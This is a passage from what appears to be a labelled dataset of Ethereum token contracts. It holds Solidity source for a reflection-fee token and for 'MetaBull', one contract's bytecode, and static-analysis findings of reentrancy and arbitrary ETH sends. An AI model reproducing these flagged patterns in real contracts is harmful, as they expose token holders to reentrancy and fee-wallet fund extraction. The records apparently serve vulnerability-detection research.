if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610379578063c3c8cd8014610399578063c9567bf9146103ae578063db92dbb6146103c3578063dd62ed3e146103d8578063e8078d941461041e57600080fd5b8063715018a6146102d05780638da5cb5b146102e557806395d89b411461030d578063a9059cbb1461033a578063a985ceef1461035a57600080fd5b8063313ce567116100fd578063313ce5671461021d57806345596e2e146102395780635932ead11461025b57806368a3a6a51461027b5780636fc3eaec1461029b57806370a08231146102b057600080fd5b806306fdde0314610145578063095ea7b31461019257806318160ddd146101c257806323b872dd146101e857806327f3a72a1461020857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601281527143616c69656e74652028434c4e542e43432960701b60208201525b6040516101899190611bef565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611b47565b610433565b6040519015158152602001610189565b3480156101ce57600080fd5b50683635c9adc5dea000005b604051908152602001610189565b3480156101f457600080fd5b506101b2610203366004611b07565b61044a565b34801561021457600080fd5b506101da6104b3565b34801561022957600080fd5b5060405160098152602001610189565b34801561024557600080fd5b50610259610254366004611baa565b6104c3565b005b34801561026757600080fd5b50610259610276366004611b72565b61056c565b34801561028757600080fd5b506101da610296366004611a97565b6105eb565b3480156102a757600080fd5b5061025961060e565b3480156102bc57600080fd5b506101da6102cb366004611a97565b61063b565b3480156102dc57600080fd5b5061025961065d565b3480156102f157600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561031957600080fd5b5060408051808201909152600481526310d3139560e21b602082015261017c565b34801561034657600080fd5b506101b2610355366004611b47565b6106d1565b34801561036657600080fd5b50601454600160a81b900460ff166101b2565b34801561038557600080fd5b506101da610394366004611a97565b6106de565b3480156103a557600080fd5b50610259610704565b3480156103ba57600080fd5b5061025961073a565b3480156103cf57600080fd5b506101da610787565b3480156103e457600080fd5b506101da6103f3366004611acf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042a57600080fd5b5061025961079f565b6000610440338484610b52565b5060015b92915050565b6000610457848484610c76565b6104a984336104a485604051806060016040528060288152602001611dc8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611219565b610b52565b5060019392505050565b60006104be3061063b565b905090565b6011546001600160a01b0316336001600160a01b0316146104e357600080fd5b603381106105305760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105965760405162461bcd60e51b815260040161052790611c42565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610561565b6001600160a01b0381166000908152600660205260408120546104449042611d32565b6011546001600160a01b0316336001600160a01b03161461062e57600080fd5b4761063881611253565b50565b6001600160a01b038116600090815260026020526040812054610444906112d8565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161052790611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610440338484610c76565b6001600160a01b0381166000908152600660205260408120600101546104449042611d32565b6011546001600160a01b0316336001600160a01b03161461072457600080fd5b600061072f3061063b565b90506106388161135c565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161052790611c42565b6014805460ff60a01b1916600160a01b179055610782426078611ce7565b601555565b6014546000906104be906001600160a01b031661063b565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161052790611c42565b601454600160a01b900460ff16156108235760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610527565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108603082683635c9adc5dea00000610b52565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089957600080fd5b505afa1580156108ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d19190611ab3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091957600080fd5b505afa15801561092d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109519190611ab3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099957600080fd5b505af11580156109ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d19190611ab3565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a018161063b565b600080610a166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7957600080fd5b505af1158015610a8d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab29190611bc2565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1657600080fd5b505af1158015610b2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4e9190611b8e565b5050565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610527565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610527565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610527565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610527565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610527565b6000546001600160a01b03848116911614801590610dca57506000546001600160a01b03838116911614155b156111bc57601454600160a81b900460ff1615610e4a573360009081526006602052604090206002015460ff16610e4a57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7557506013546001600160a01b03838116911614155b8015610e9a57506001600160a01b03821660009081526005602052604090205460ff16155b15610ffe57601454600160a01b900460ff16610ef85760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610527565b60066009556004600a55601454600160a81b900460ff1615610fc457426015541115610fc457601054811115610f2d57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f9f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610527565b610faa42602d611ce7565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ffe57610fe142600f611ce7565b6001600160a01b0383166000908152600660205260409020600101555b60006110093061063b565b601454909150600160b01b900460ff1615801561103457506014546001600160a01b03858116911614155b80156110495750601454600160a01b900460ff165b156111ba57601454600160a81b900460ff16156110d6576001600160a01b03841660009081526006602052604090206001015442116110d65760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610527565b601454600160b81b900460ff161561113b5760006110ff600c548461150190919063ffffffff16565b60145490915061112e90611127908590611121906001600160a01b031661063b565b90611580565b82906115df565b905061113981611621565b505b80156111a857600b546014546111719160649161116b9190611165906001600160a01b031661063b565b90611501565b906115df565b81111561119f57600b5460145461119c9160649161116b9190611165906001600160a01b031661063b565b90505b6111a88161135c565b4780156111b8576111b847611253565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fe57506001600160a01b03831660009081526005602052604090205460ff165b15611207575060005b6112138484848461168f565b50505050565b6000818484111561123d5760405162461bcd60e51b81526004016105279190611bef565b50600061124a8486611d32565b95945050505050565b6011546001600160a01b03166108fc61126d8360026115df565b6040518115909202916000818181858888f19350505050158015611295573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b08360026115df565b6040518115909202916000818181858888f19350505050158015610b4e573d6000803e3d6000fd5b600060075482111561133f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610527565b60006113496116bd565b905061135583826115df565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140657600080fd5b505afa15801561141a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143e9190611ab3565b8160018151811061145f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114859130911684610b52565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114be908590600090869030904290600401611c77565b600060405180830381600087803b1580156114d857600080fd5b505af11580156114ec573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151057506000610444565b600061151c8385611d13565b9050826115298583611cff565b146113555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610527565b60008061158d8385611ce7565b9050838110156113555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610527565b600061135583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e0565b600a808210156116335750600a611647565b602882111561164457506028611647565b50805b61165281600261170e565b15611665578061166181611d49565b9150505b611675600a61116b836006611501565b600955611688600a61116b836004611501565b600a555050565b8061169c5761169c611750565b6116a784848461177e565b8061121357611213600e54600955600f54600a55565b60008060006116ca611875565b90925090506116d982826115df565b9250505090565b600081836117015760405162461bcd60e51b81526004016105279190611bef565b50600061124a8486611cff565b600061135583836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b7565b6009541580156117605750600a54155b1561176757565b60098054600e55600a8054600f5560009182905555565b600080600080600080611790876118eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c29087611948565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f19086611580565b6001600160a01b0389166000908152600260205260409020556118138161198a565b61181d84836119d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186291815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189182826115df565b8210156118ae57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118d85760405162461bcd60e51b81526004016105279190611bef565b506118e38385611d64565b949350505050565b60008060008060008060008060006119088a600954600a546119f8565b92509250925060006119186116bd565b9050600080600061192b8e878787611a47565b919e509c509a509598509396509194505050505091939550919395565b600061135583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611219565b60006119946116bd565b905060006119a28383611501565b306000908152600260205260409020549091506119bf9082611580565b30600090815260026020526040902055505050565b6007546119e19083611948565b6007556008546119f19082611580565b6008555050565b6000808080611a0c606461116b8989611501565b90506000611a1f606461116b8a89611501565b90506000611a3782611a318b86611948565b90611948565b9992985090965090945050505050565b6000808080611a568886611501565b90506000611a648887611501565b90506000611a728888611501565b90506000611a8482611a318686611948565b939b939a50919850919650505050505050565b600060208284031215611aa8578081fd5b813561135581611da4565b600060208284031215611ac4578081fd5b815161135581611da4565b60008060408385031215611ae1578081fd5b8235611aec81611da4565b91506020830135611afc81611da4565b809150509250929050565b600080600060608486031215611b1b578081fd5b8335611b2681611da4565b92506020840135611b3681611da4565b929592945050506040919091013590565b60008060408385031215611b59578182fd5b8235611b6481611da4565b946020939093013593505050565b600060208284031215611b83578081fd5b813561135581611db9565b600060208284031215611b9f578081fd5b815161135581611db9565b600060208284031215611bbb578081fd5b5035919050565b600080600060608486031215611bd6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1b57858101830151858201604001528201611bff565b81811115611c2c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc65784516001600160a01b031683529383019391830191600101611ca1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfa57611cfa611d78565b500190565b600082611d0e57611d0e611d8e565b500490565b6000816000190483118215151615611d2d57611d2d611d78565b500290565b600082821015611d4457611d44611d78565b500390565b6000600019821415611d5d57611d5d611d78565b5060010190565b600082611d7357611d73611d8e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063857600080fd5b801515811461063857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011c4161bd8e463d939dff53b11e757363a4b809cafde1d30daf815bae2ff369c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,590
0x35bbc1e524770988111c18544bb4b79685de1fa9
/** *Submitted for verification at Etherscan.io on 2021-11-16 */ // SPDX-License-Identifier: Unlicensed // Website: metabull.me // Telegram: t.me/metabull // Twitter: @metabull pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=7; uint256 constant TOTAL_SUPPLY=2400000000; string constant TOKEN_SYMBOL="METABULL"; string constant TOKEN_NAME="MetaBull"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract MetaBull is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
